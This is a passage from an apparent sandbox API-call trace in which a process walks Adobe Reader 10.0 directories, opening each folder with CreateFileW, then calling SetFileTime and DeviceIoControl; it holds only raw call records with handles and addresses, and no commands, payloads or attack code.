lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.170] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.170] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.172] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.173] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.185] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.185] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.185] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.188] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.188] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.191] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.191] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.193] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.193] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.196] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.196] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.198] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.199] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.200] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.201] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.201] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.203] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.204] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.204] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.206] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.206] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.208] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.208] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.211] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.211] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.214] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.214] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.217] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.217] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.219] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.219] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.222] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.222] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.224] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.224] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.227] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.227] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.230] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.230] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.233] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.233] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.235] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.235] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.238] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.238] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.240] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.240] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.242] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.242] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.247] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.247] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.249] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.249] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.252] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.252] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.257] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.257] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.260] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0146.260] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0146.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.263] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.263] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.267] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.267] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0146.267] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0146.269] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk"), 